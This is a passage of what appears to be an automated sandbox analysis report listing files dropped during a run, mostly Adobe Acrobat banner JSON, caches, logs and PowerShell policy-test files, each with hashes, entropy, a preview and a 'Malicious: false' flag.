Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.256599434148865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfbPtdPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGDV8Ukee9
MD5:	B909FD81DF84BB13D1EEAD1224C52476
SHA1:	BB72DF45ACD6F0329EB96EE4AAC33125840F3BCA
SHA-256:	0550C772C7ECB9416264FBFA6F31678BA6BFB0DC4DDA6E3252E1AF18A7283752
SHA-512:	08C7F869D7DA73319A5C6E4FBBB691D70EEA37F1AD6F8B6E03D9DB459E64C27337F45F30EC317EB299925288022B688855D20A18B053B05E469BBD9BFCDD9063
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2578970762402335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJf21rPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OG+16Ukee9
MD5:	FE37379456559804E8A9D7624454DE88
SHA1:	5CBDFE3CF7989602B0E9FD8C606481F2C8D072DC
SHA-256:	77157B6EBD7AB4A59DBC3826187F373C69338E91F3B34EC4C8A0B0D6E80568FB
SHA-512:	F80D156FCEC3C2AF2D2BF2EAB75304032B9091899D911273F8E33711CD50079725CB527E2162FED0FE377C1BAAC45D0D5E5810EA2FBD2EE39F58E1CF2ADC1B9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661355737264374
Encrypted:	false
SSDEEP:	24:Yv6XZPFi27amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSh:Yvl2LBgkDMUJUAh8cvMh
MD5:	C9C8B4A9D1FF93788FCC30211FD40A6A
SHA1:	FE7097DFB48FE3B14046A4B1129B750CA7F33082
SHA-256:	05A129D0E94985BE6E25F0F5EB97E304E9178482A3485A572D712214484ACE01
SHA-512:	A674C1BC80066DD37FF904F76E586B82E87AD7C12DB297D49A2BE47C50D034888FF46A5CCBA7B61B85F3AB59EEBD674D59DB3AC5EFEC77AEE932E1C19209E49E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.233432473010725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJfshHHrPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGUUUkee9
MD5:	1C6F520A38E61CC172139AB29B90EC09
SHA1:	D6B5D86F03479C1A47DDF98C13DF19F33E21F987
SHA-256:	24FFAA1ABFEE2249F119FBDDF9625D69F51FE621623B39F95B4F2785987B8C76
SHA-512:	25FAB0E10B84BF16161A1337D3B9161E8482324F1E979FC098203112F43A6873C4604902F764A6F70EF8A69270A8FA8413368C82448A95747ED793602F084316
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2461735377214636
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWnfAHw6VWOx+FIbRI6XVW7+0YIjJWxoAvJTqgFCrPeUkwRe9:YvXKXFAfAQ6VWOUYpW72OGTq16Ukee9
MD5:	65C6E516A3F3DC274AC5C0C1D033B6FA
SHA1:	BB5F2BB1C4287769B1A99423CAD5375B2B2A2788
SHA-256:	2FCF608056E11A7C89D1D9E15BF4FF5741CA78283CD037C0EE57E73B5717C58C
SHA-512:	DB89323D7F4B85FCF86CDD808A13AE063A1F650683DD189ED4E08420B7B6F8FCC16FCF23BF815D97984418D9C1F68E56D4BF8B11D826F6BEB78C609CDBE465BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23e45a93-514e-4094-8c97-adc1b72449bf","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738172197,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139888209865599
Encrypted:	false
SSDEEP:	24:YjITHa9o9ayrKHFDU6uNmHOP/S5jGzBj0STbqgL2YMf2LS9Cc0/TMVr/o5oXQ9o+:YjI/4UuWA+3ivz0/TM+yA9D
MD5:	B2B961DE4119E74082AAB7B0FF53C7FB
SHA1:	78DEE6DF74FAD5AABE985A2E79DF9CB3957AA521
SHA-256:	430AFDDEB4094B078431F3C6CD07FB891CC72EBC3E6CB2FB0A97778B3180CBA9
SHA-512:	F60F0DC4C3D363964DBECAC544FC6B2E9064CD4CC8EC928A9ACAD9F828650D2C87D0A0D639CF38949D3C987811231BF37BE594A32F03DC6736BFD19B5628F529
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ede5e09e492c0c06ccc8678b37a345ea","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565146000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2c52a68f66f76371f64bd477c3987f8f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565146000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9642009671a9c10e132045cd5a164441","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565146000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"db1c1dd6b7441c282d32099b607ff29b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565146000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"db56553136417bdc8ad6d095953a469a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565146000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8d98fdffee61add9d2777d2323f78b67","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9862936510792492
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpF14zJwtNBwtNbRZ6bRZ4a1F:TVl2GL7ms6ggOVpAzutYtp6P7
MD5:	52FCC0CFEADE7D41FCDFA23FA4FB1C9F
SHA1:	994F4F36049360CB26065462280BA9D0F8A6A304
SHA-256:	819BE08B9BEB876081AD7B756C3421B73C0984752ECCD4036728A91EA99AEA12
SHA-512:	1769B377D8C6ADDE5E2583F25ECB5B931D44BCB106B3B52936962BA41E0581CABDFBE7F255FF2676104DC7E89B5E0085518B7266A320D90B9DA9F23912E52CCC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3416058547372525
Encrypted:	false
SSDEEP:	24:7+tjAD1RZKHs/Ds/SpF1PzJwtNBwtNbRZ6bRZWf1RZKNqLBx/XYKQvGJF7ursX:7MjGgOVpnzutYtp6PMEqll2GL7msX
MD5:	87A4162736FC7EAFA028B0EF04B0C2C6
SHA1:	839AA01C8D6FDE3EF829182CA9A114CC12FC7632
SHA-256:	AE9BDFAFAAAAC04C64EDD6379CC7FA3FBDFA04265B6B7985A15BB02CE73130A5
SHA-512:	DCFB4DC481052C40C154905894809CAD71489369EB5DC3100B483F5D36191613FACE8F63415ECB0D48F9304556494ACEA28D339883FEA91E5E464C35E4C0BEE2
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgv/ZJrVPxkEcPI8IiCM2pwsJPqEYyu:6a6TZ44ADEv/jrVPxkDLsJ7K
MD5:	6C42EC99D8C93AA2C3D0A837A25126D9
SHA1:	AD58BDE75DB05B6561EE596FEE33B6AB26CE20B8
SHA-256:	77C53D1C36972656041A9D96FB1A3063A4009C322B4C6195B230F42FAF2B08EB
SHA-512:	6807E09D22295C4D10478B256ED033F20BF232B2898815FBDD3C426EE856BA3B3DAED07BBF517BFC26ED854EBADF7CC6DF96BE0F875399CC21577079AD634003
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc5064.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4851648184472035
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClWlcle:Qw946cPbiOxDlbYnuRK+brx
MD5:	CDC4B8D07C7DE5F7D300909F0396C80A
SHA1:	D6FB6FE97B51AF788C791364B71422C3FAE59AFF
SHA-256:	850BB6FD1BD8BA95C13FAC202053F44E4FBE36BB98281F2398420A4F772F256B
SHA-512:	9364387BC682AA660BE0C5A7838E610AC12FEE2F6CEAD46C21651DCE99DE08BB57762F3759A483FC83E075C67269D3DC5A338A061F529FC6C7D9F68B9E8366AB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.2.:.1.2.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25qaadzh.lzv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vevinli0.vkc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 22-12-20-961.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.355305872120519
Encrypted:	false
SSDEEP:	384:bZe/OOLsZ/IIhjjwenGUqUOrjgD8izDRcnbh3PB98JvcBDy8uq0R/W/SbBLT+lti:nDn
MD5:	AF41C6923A5BF441045F4BF1AD8441F8
SHA1:	55ED2F353D5BE7B1B54CFBB79F26A5EB1FEEF292
SHA-256:	9788DAEE8E087058C0BF5FBD71752D91E3AAEA2D28045BCA62E44C35376652E5
SHA-512:	506B92EECD5F448C1BBA62B85C60DEAD5E895573BCB190555D6F826BD14F19101148AF1468893B163C7739ECB3A73F70A4020FFC6186AAAF742FC2E1B3B722E7
Malicious:	false
Preview:	SessionID=e04ba837-c5e4-44f6-8fcd-d001fccd4a9d.1736565140972 Timestamp=2025-01-10T22:12:20:972-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e04ba837-c5e4-44f6-8fcd-d001fccd4a9d.1736565140972 Timestamp=2025-01-10T22:12:21:007-0500 ThreadID=7824 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e04ba837-c5e4-44f6-8fcd-d001fccd4a9d.1736565140972 Timestamp=2025-01-10T22:12:21:008-0500 ThreadID=7824 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e04ba837-c5e4-44f6-8fcd-d001fccd4a9d.1736565140972 Timestamp=2025-01-10T22:12:21:008-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e04ba837-c5e4-44f6-8fcd-d001fccd4a9d.1736565140972 Timestamp=2025-01-10T22:12:21:008-0500 ThreadID=7824 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.390412435796932
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbb:1YyJ
MD5:	765A9B946771800F3886165DE7B38B48
SHA1:	9BDCD5CB4EA86F4AC8FA492B4BD74AC655047E3A
SHA-256:	58AA4447DD4A03247DDD7091408EE57670AAA6F90D83599C250700DB90033FA7
SHA-512:	ADE70EF4B7331899260CEA7ECF4BB96579BA94EE5DC2667C55B8669E5C88D49B47929D17A49063A426531386A84089753CC922FF8738434E0D80FB1047C294B3
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0c79f2d2-5064-4190-a741-d278d4ad3731.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\35817549-c9f2-4106-a0b0-fc36a8dbca39.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\6dd948e0-db08-4d28-a298-ad43c4604ff4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
